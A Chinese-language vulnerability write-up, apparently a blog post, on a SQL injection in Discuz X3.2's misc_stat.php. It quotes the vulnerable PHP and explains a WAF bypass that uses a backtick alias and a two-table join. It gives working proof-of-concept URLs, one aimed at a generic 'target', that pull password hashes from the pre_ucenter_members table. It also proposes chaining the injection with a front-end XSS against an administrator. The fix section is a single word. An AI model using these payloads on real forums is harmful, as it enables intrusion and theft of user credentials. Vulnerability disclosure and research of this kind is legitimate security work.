前臺非盲注,只需要配合一個xss,就能消除雞肋了。
信pandas,得永生,緊抱doggy哥大腿!/source/include/misc/misc_stat.php 46行:
if(!empty($_GET['xml'])) { $xaxis = ''; $graph = array(); $count = 1; $begin = dgmdate($beginunixstr, 'Ymd'); $end = dgmdate($endunixstr, 'Ymd'); $field = '*'; if(!empty($_GET['merge'])) { if(empty($_GET['types'])) { $_GET['types'] = array_merge($cols['login'], $cols['forum'], $cols['tgroup'], $cols['home'], $cols['space']); } $field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic'; $type = 'statistic'; } foreach(C::t('common_stat')->fetch_all($begin, $end, $field) as $value) { $xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>"; if($type == 'all') { foreach ($cols as $ck => $cvs) { if($ck == 'login') { $graph['login'] .= "<value xid='$count'>$value[login]</value>"; $graph['register'] .= "<value xid='$count'>$value[register]</value>"; } else { $num = 0; foreach ($cvs as $cvk) { $num = $value[$cvk] + $num; } $graph[$ck] .= "<value xid='$count'>".$num."</value>"; } } } else { //var_dump($value);exit; if(empty($_GET['types']) || !empty($_GET['merge'])) { $graph[$type] .= "<value xid='$count'>".$value[$type]."</value>"; } else { foreach($_GET['types'] as $t) { $graph[$t] .= "<value xid='$count'>".$value[$t]."</value>"; } } } $count++; } $xml = ''; $xml .= '<'."?xml version=\"1.0\" encoding=\"utf-8\"?>"; $xml .= '<chart><xaxis>'; $xml .= $xaxis; $xml .= "</xaxis><graphs>"; $count = 0; foreach ($graph as $key => $value) { $xml .= "<graph gid='$count' title='".diconv(lang('spacecp', "do_stat_$key"), CHARSET, 'utf8')."'>"; $xml .= $value; $xml .= '</graph>'; $count++; } $xml .= '</graphs></chart>'; @header("Expires: -1"); @header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE); @header("Pragma: no-cache"); @header("Content-type: application/xml; charset=utf-8"); echo $xml; exit(); }
見這一句:$field = 'daytime,`'.implode('`+`', $_GET['types']).'` AS statistic';
將$_GET['type']數組直接用`+`分割,並沒有過濾。
因爲位置在$field的地方,並不在單引號中,所以不用引入單引號,也無需考慮addslashes。
現在遇到另一個問題,怎麼繞過discuz3.2的WAF?
不繞過也沒法出數據。
我們先看看輸出點在何處:http://localhost/bbs/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=x
也就是說我們可以控制的部分有很多。
且不看全局防注入源碼,黑盒試一下我發現一旦出現'、(就會攔截,而且註釋符(#、--)也會攔截。
括號不能有,就特別拙計,因爲很多盲注需要括號,子查詢也需要括號,函數也需要括號,這裏都不能用了。SELECT daytime,`aaa` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime
我們再看上述sql語句,發現我們可控的部分前面,還有個daytime。這就愁壞我了,因爲我要查詢的表是用戶表,而用戶表根本沒這個字段。
執行會提示Unknown column 'daytime' in 'field list'。
所以,我們可以利用mysql的特性,一次查詢兩個表,將pre_ucenter_members的數據連帶着查詢出來:
大家可以看到,已經不報錯了。因爲pre_common_statuser表中存在`daytime`這個列。而且這個表中也有uid這個列,正好可以作爲pre_ucenter_members的篩選項。
那麼,有的同學再問,sql語句後半部分
` AS statistic FROM common_stat WHERE daytime>=20140805 AND daytime<=20140904 ORDER BY daytime沒有註釋符怎麼處理?
這裏有個巧合,在某些情況下,`能作爲註釋符用。因爲mysql會自動給sql語句結尾沒有閉合的`閉合掉,這樣,只要讓mysql人爲後面那一大串字符是一個字段的“別名”即可。
所以,先構造一個url:http://localhost/bbs/misc.php?mod=stat&op=trend& xml=1&merge=1&types[1]=password`as%20daytime%20from%20pre_common_statuser,pre_ucenter_members%20as
可以看到已經出數據了。但發現出來的數據只有4位。
原因是,在源碼中使用了substr取了daytime的第4到8位:$xaxis .= "<value xid='$count'>".substr($value['daytime'], 4, 4)."</value>";我們看下有沒其他的輸出點。於是找到了一個:
if(empty($_GET['types']) || !empty($_GET['merge'])) { $graph[$type] .= "<value xid='$count'>".$value[$type]."</value>"; }
這個if語句,其中$type爲statistic,而將$value[$type]的值輸出了。所以,我只需將password取個別名叫statistic,就能輸出password了。
那麼,最後的poc就是:http://localhost/bbs/misc.php?mod=stat&op=trend& xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as
本地測試效果:
這個漏洞雞肋之處在於,雖然它是一個前臺的注入(無需登錄後臺),但是卻需要管理員權限。
所以,利用方法就是找到一個前臺xss,管理員(前臺管理)訪問以後用javascript獲得訪問到的頁面內容,即可獲得注入出的信息。使雞肋漏洞變得不再雞肋。
或者利用某些瀏覽器的跨域漏洞,也能注入。
http://target/misc.php?mod=stat&op=trend&xml=1&merge=1&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as
修復方案:
過濾。
Discuz x3.2前臺GET型SQL注入漏洞(繞過全局WAF)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.